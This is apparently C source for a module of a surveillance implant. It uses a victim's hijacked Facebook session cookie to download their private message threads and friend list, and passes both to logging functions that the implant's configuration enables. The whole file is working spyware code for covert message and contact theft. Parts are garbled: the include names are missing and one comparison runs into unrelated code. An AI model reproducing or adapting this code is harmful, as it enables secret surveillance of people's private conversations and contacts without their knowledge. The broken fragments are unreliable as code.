#include #include #include #include "debug.h" #include "zmem.h" #include "utils.h" #include "social.h" #include "facebook.h" #include "JSON.h" #include "conf.h" LPSTR FacebookGetUserId(LPSTR strBuffer) { LPSTR strParser = strstr(strBuffer, FB_USER_ID); if (!strParser) return NULL; strParser += strlen(FB_USER_ID); if (strchr(strParser, '"')) *(strchr(strParser, '"')) = 0; else return NULL; return strParser; } LPSTR FacebookGetScreenName(LPSTR strBuffer, LPSTR strUserId) { CHAR strScreenNameTag[256] = { 0x0 }; _snprintf_s(strScreenNameTag, 255, _TRUNCATE, FB_MESSAGE_SCREEN_NAME_ID, strUserId); LPSTR strParser = strstr(strBuffer, strScreenNameTag); if (!strParser) return NULL; strParser += strlen(strScreenNameTag); if (strchr(strParser, '"')) *(strchr(strParser, '"')) = 0; else return NULL; if (strlen(strParser)) return strParser; else return "Target"; } BOOL FacebookGetUserInfo(LPSTR strCookie, LPSTR *strUserId, LPSTR *strScreenName) { LPSTR strRecvBuffer=NULL, strParser=NULL; DWORD dwRet, dwBufferSize; *strUserId = *strScreenName = NULL; dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", L"/home.php?", 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBufferSize, strCookie); // FIXME array if (dwRet != SOCIAL_REQUEST_SUCCESS) return FALSE; // search for user id *strUserId = FacebookGetUserId(strRecvBuffer); if (!*strUserId || !strcmp(*strUserId, "0")) { zfree(strRecvBuffer); return FALSE; } // search for screen name strParser = *strUserId + strlen(*strUserId) + 1; *strScreenName = FacebookGetScreenName(strParser, *strUserId); // we're done with this request, copy buffers and frees it *strUserId = _strdup(*strUserId); *strScreenName = _strdup(*strScreenName); zfree(strRecvBuffer); return TRUE; } BOOL FacebookParseThreads(LPSTR strCookie, LPSTR strUserId, LPSTR strScreenName, DWORD dwLastTS) { BOOL bIncoming; WCHAR strUrl[256]; CHAR strThreadId[512]; CHAR strPeersId[256]; CHAR strPeers[512]; CHAR strAuthor[256]; CHAR strAuthorId[256]; DWORD dwRet, dwBufferSize; LPSTR strRecvBuffer=NULL, strRecvBuffer2=NULL, strParser1, strParser2, strInnerParser1, strInnerParser2; LPSTR strMsgBody = NULL; dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", L"/messages/", 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBufferSize, strCookie); //FIXME: array if (dwRet != SOCIAL_REQUEST_SUCCESS) return FALSE; strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_END); if (!strParser1) { zfree(strRecvBuffer); return NULL; } *strParser1 = 0; // fine lista strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_ID); if (!strParser1) { zfree(strRecvBuffer); return FALSE; } for (;;) { // get thread status and skip if unread strParser2 = strstr(strParser1, FB_THREAD_STATUS_IDENTIFIER_V2); if (strParser2) { strParser2 += strlen(FB_THREAD_STATUS_IDENTIFIER_V2); if (*strParser2 != '0') // unread { strParser1 = strParser2; continue; } } else break; strParser1 = strstr(strParser1, FB_THREAD_IDENTIFIER_V2); if (!strParser1) break; strParser1 += strlen(FB_THREAD_IDENTIFIER_V2); strParser2 = strchr(strParser1, '"'); if (!strParser2) break; *strParser2 = 0; SecureZeroMemory(strUrl, 256); SecureZeroMemory(strThreadId, 512); strcpy_s(strThreadId, 512, strParser1); URLDecode(strThreadId); _snwprintf_s(strUrl, sizeof(strUrl)/sizeof(WCHAR), _TRUNCATE, L"/ajax/messaging/async.php?sk=inbox&action=read&tid=%S&__a=1&msgs_only=1", strThreadId); //FIXME: array strParser1 = strParser2 + 1; // cerca id partecipanti BOOL bAmIPresent = FALSE; SecureZeroMemory(strPeersId, sizeof(strPeersId)); for (;;) { strParser2 = strstr(strParser1, FB_PEER_ID_IDENTIFIER); if (!strParser2) break; strParser1 = strParser2 + strlen(FB_PEER_ID_IDENTIFIER); strParser2 = strchr(strParser1, '"'); if (!strParser2) break; *strParser2 = 0; if (!strcmp(strParser1, strUserId)) bAmIPresent = TRUE; if (strlen(strPeersId) == 0) _snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s", strParser1); else _snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strParser1); strParser1 = strParser2 + 1; if (*strParser1 == ']') break; } if (!bAmIPresent) _snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strUserId); // controlla timestamp strParser1 = strstr(strParser1, FB_MESSAGE_TSTAMP_IDENTIFIER_V2); if (!strParser1) break; strParser1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER_V2); DWORD dwCurrTS; CHAR strTimeStamp[11]; SecureZeroMemory(strTimeStamp, sizeof(strTimeStamp)); memcpy(strTimeStamp, strParser1, 10); dwCurrTS = atoi(strTimeStamp); if (dwCurrTS > 2000000000 || dwCurrTS <= dwLastTS) continue; // salva timestamp se piu' recente SocialSetLastTimestamp(strUserId, dwCurrTS, 0); // get thread's messages DWORD dwBuffSize2; dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer2, &dwBuffSize2, strCookie); //FIXME: array if (dwRet != SOCIAL_REQUEST_SUCCESS) { zfree(strRecvBuffer); return FALSE; } // get peers screen name, strInnerParser1 = strRecvBuffer2; strInnerParser1 = strstr(strInnerParser1, FB_THREAD_AUTHOR_IDENTIFIER_V2); if (!strInnerParser1) { zfree(strRecvBuffer2); continue; } strInnerParser1 += strlen(FB_THREAD_AUTHOR_IDENTIFIER_V2); strInnerParser2 = strstr(strInnerParser1, " - "); if (!strInnerParser2) { zfree(strRecvBuffer2); continue; } *strInnerParser2 = 0; _snprintf_s(strPeers, sizeof(strPeers), _TRUNCATE, "%s, %s", strScreenName, strInnerParser1); strInnerParser1 = strRecvBuffer2; for (;;) { strInnerParser1 = strstr(strInnerParser1, FB_MESSAGE_TSTAMP_IDENTIFIER); if (!strInnerParser1) break; strInnerParser1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER); SecureZeroMemory(strTimeStamp, sizeof(strTimeStamp)); memcpy(strTimeStamp, strInnerParser1, 10); dwCurrTS = atoi(strTimeStamp); if (dwCurrTS > 2000000000 || dwCurrTS <= dwLastTS) continue; SocialSetLastTimestamp(strUserId, dwCurrTS, 0); strInnerParser2 = strstr(strInnerParser1, FB_MESSAGE_AUTHOR_IDENTIFIER); if (!strInnerParser2) break; *strInnerParser2 = 0; strInnerParser1 = strInnerParser2; for (;*(strInnerParser1) != '>' && strInnerParser1 > strRecvBuffer2; strInnerParser1--); if (strInnerParser1 <= strRecvBuffer2) break; strInnerParser1++; _snprintf_s(strAuthor, sizeof(strAuthor), _TRUNCATE, "%s", strInnerParser1); strInnerParser1--; for (;*(strInnerParser1) != '\\' && strInnerParser1 > strRecvBuffer2; strInnerParser1--); if (strInnerParser1 <= strRecvBuffer2) break; *strInnerParser1 = 0; for (;*(strInnerParser1) != '=' && strInnerParser1 > strRecvBuffer2; strInnerParser1--); if (strInnerParser1 <= strRecvBuffer2) break; strInnerParser1++; _snprintf_s(strAuthorId, sizeof(strAuthorId), _TRUNCATE, "%s", strInnerParser1); strInnerParser1 = strInnerParser2 + 1; if (!strcmp(strAuthorId, strUserId)) bIncoming = FALSE; else bIncoming = TRUE; DWORD dwMsgPartSize, dwMsgBodySize; dwMsgPartSize = dwMsgBodySize = 0; zfree(strMsgBody); // questo e' NULL al primo giro, zfree se lo smazza. for (;;) { LPSTR strMsgParser1, strMsgParser2; strMsgParser1 = strstr(strInnerParser1, FB_MESSAGE_BODY_IDENTIFIER); if (!strMsgParser1) break; // no moar body, parte un altro timestamp strMsgParser2 = strstr(strInnerParser1, FB_MESSAGE_TSTAMP_IDENTIFIER); if (strMsgParser2 && strMsgParser2"); //FIXME: array if (!strInnerParser1) break; strInnerParser1 += strlen("p>"); strInnerParser2 = strstr(strInnerParser1, "\\u003C\\/p>"); //FIXME: array if (!strInnerParser2) break; *strInnerParser2 = 0; DWORD dwMsgPartSize = strlen(strInnerParser1); strMsgParser1 = (LPSTR) realloc(strMsgBody, dwMsgBodySize + dwMsgPartSize + strlen(FB_NEW_LINE) + sizeof(WCHAR)); if (!strMsgParser1) break; // se non e' il primo body, mette a capo if (strMsgBody) { memcpy(strMsgParser1 + dwMsgBodySize, FB_NEW_LINE, strlen(FB_NEW_LINE)); dwMsgBodySize += strlen(FB_NEW_LINE); } strMsgBody = strMsgParser1; memcpy(strMsgBody + dwMsgBodySize, strInnerParser1, dwMsgPartSize); dwMsgBodySize += dwMsgPartSize; memset(strMsgBody + dwMsgBodySize, 0x0, sizeof(WCHAR)); strInnerParser1 = strInnerParser2 + 1; } if (strMsgBody) { struct tm tstamp; _gmtime32_s(&tstamp, (__time32_t *)&dwCurrTS); tstamp.tm_year += 1900; tstamp.tm_mon++; JsonDecode(strMsgBody); SocialLogIMMessageA(CHAT_PROGRAM_FACEBOOK, strPeers, strPeersId, strAuthor, strAuthorId, strMsgBody, &tstamp, bIncoming); zfree(strMsgBody); strMsgBody = NULL; } else break; } zfree(strRecvBuffer2); } zfree(strRecvBuffer); return TRUE; } DWORD FacebookMessageHandler(LPSTR strCookie) { DWORD dwLastTimeStamp; LPSTR strUserId, strScreenName; if (!ConfIsModuleEnabled(L"messages")) return SOCIAL_REQUEST_SUCCESS; // get user id and screen name if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName)) return SOCIAL_REQUEST_BAD_COOKIE; // get last timestamp dwLastTimeStamp = SocialGetLastTimestamp(strUserId, NULL); if (dwLastTimeStamp == SOCIAL_INVALID_TSTAMP) return SOCIAL_REQUEST_BAD_COOKIE; if (!FacebookParseThreads(strCookie, strUserId, strScreenName, dwLastTimeStamp)) { zfree(strUserId); zfree(strScreenName); return SOCIAL_REQUEST_BAD_COOKIE; } zfree(strUserId); zfree(strScreenName); return SOCIAL_REQUEST_SUCCESS; } DWORD FacebookContactHandler(LPSTR strCookie) { LPSTR strUserId, strScreenName; if (!ConfIsModuleEnabled(L"addressbook")) return SOCIAL_REQUEST_SUCCESS; // get user id and screen name if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName)) return SOCIAL_REQUEST_BAD_COOKIE; LPWSTR strUrl = (LPWSTR) zalloc(2048*sizeof(WCHAR)); _snwprintf_s(strUrl, 2048, _TRUNCATE, L"/ajax/typeahead/first_degree.php?__a=1&viewer=%S&token=v7&filter[0]=user&options[0]=friends_only&__user=%S", strUserId, strUserId); //FIXME array LPSTR strRecvBuffer=NULL; DWORD dwBuffSize; DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie); // FIXME: array if (dwRet != SOCIAL_REQUEST_SUCCESS) { zfree(strRecvBuffer); zfree(strUrl); return SOCIAL_REQUEST_NETWORK_PROBLEM; } LPSTR strJson = strRecvBuffer; while (*strJson != '{' && (strJson - strRecvBuffer) < dwBuffSize) strJson++; JSONValue *jValue = JSON::Parse(strJson); if (jValue != NULL && jValue->IsObject()) { JSONObject jRoot = jValue->AsObject(); if (jRoot.find(L"payload") != jRoot.end()) //FIXME: array { if (jRoot[L"payload"]->IsObject()) { JSONObject jPayload = jRoot[L"payload"]->AsObject(); if (jPayload.find(L"entries") != jPayload.end() && jPayload[L"entries"]->IsArray()) //FIXME: array { JSONArray jEntries = jPayload[L"entries"]->AsArray(); //FIXME: array for (DWORD i=0; iIsObject()) continue; JSONObject jEntry = jEntries.at(i)->AsObject(); if (jEntry.find(L"uid") != jEntry.end() && jEntry[L"uid"]->IsNumber()) //FIXME: array { strUID = (LPWSTR) zalloc(1024*sizeof(WCHAR)); _snwprintf_s(strUID, 1023, _TRUNCATE, L"%.0lf", jEntry[L"uid"]->AsNumber()); //FIXME: array } if (jEntry.find(L"text") != jEntry.end() && jEntry[L"text"]->IsString()) //FIXME: array { strName = (LPWSTR) zalloc(1024*sizeof(WCHAR)); memcpy(strName, jEntry[L"text"]->AsString().c_str(), min(jEntry[L"text"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR))); //FIXME: array } if (jEntry.find(L"path") != jEntry.end() && jEntry[L"path"]->IsString()) //FIXME: array { strProfile = (LPWSTR) zalloc(1024*sizeof(WCHAR)); memcpy(strProfile, jEntry[L"path"]->AsString().c_str(), min(jEntry[L"path"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR))); //FIXME: array } if (strUID && strName && strProfile) { LPSTR strTmp = (LPSTR) zalloc(1024); _snprintf_s(strTmp, 1024, _TRUNCATE, "%S", strUID); DWORD dwFlags = 0; if (!strncmp(strTmp, strUserId, strlen(strUserId))) dwFlags = CONTACTS_MYACCOUNT; SocialLogContactW(CONTACT_SRC_FACEBOOK, strName, NULL, NULL, NULL, NULL, NULL, NULL, NULL, strUID, strProfile, dwFlags); zfree(strTmp); } zfree(strName); zfree(strProfile); zfree(strUID); } } } } } /* cleanup */ zfree(strUserId); zfree(strScreenName); zfree(strRecvBuffer); zfree(strUrl); if (jValue) delete jValue; return SOCIAL_REQUEST_BAD_COOKIE; } .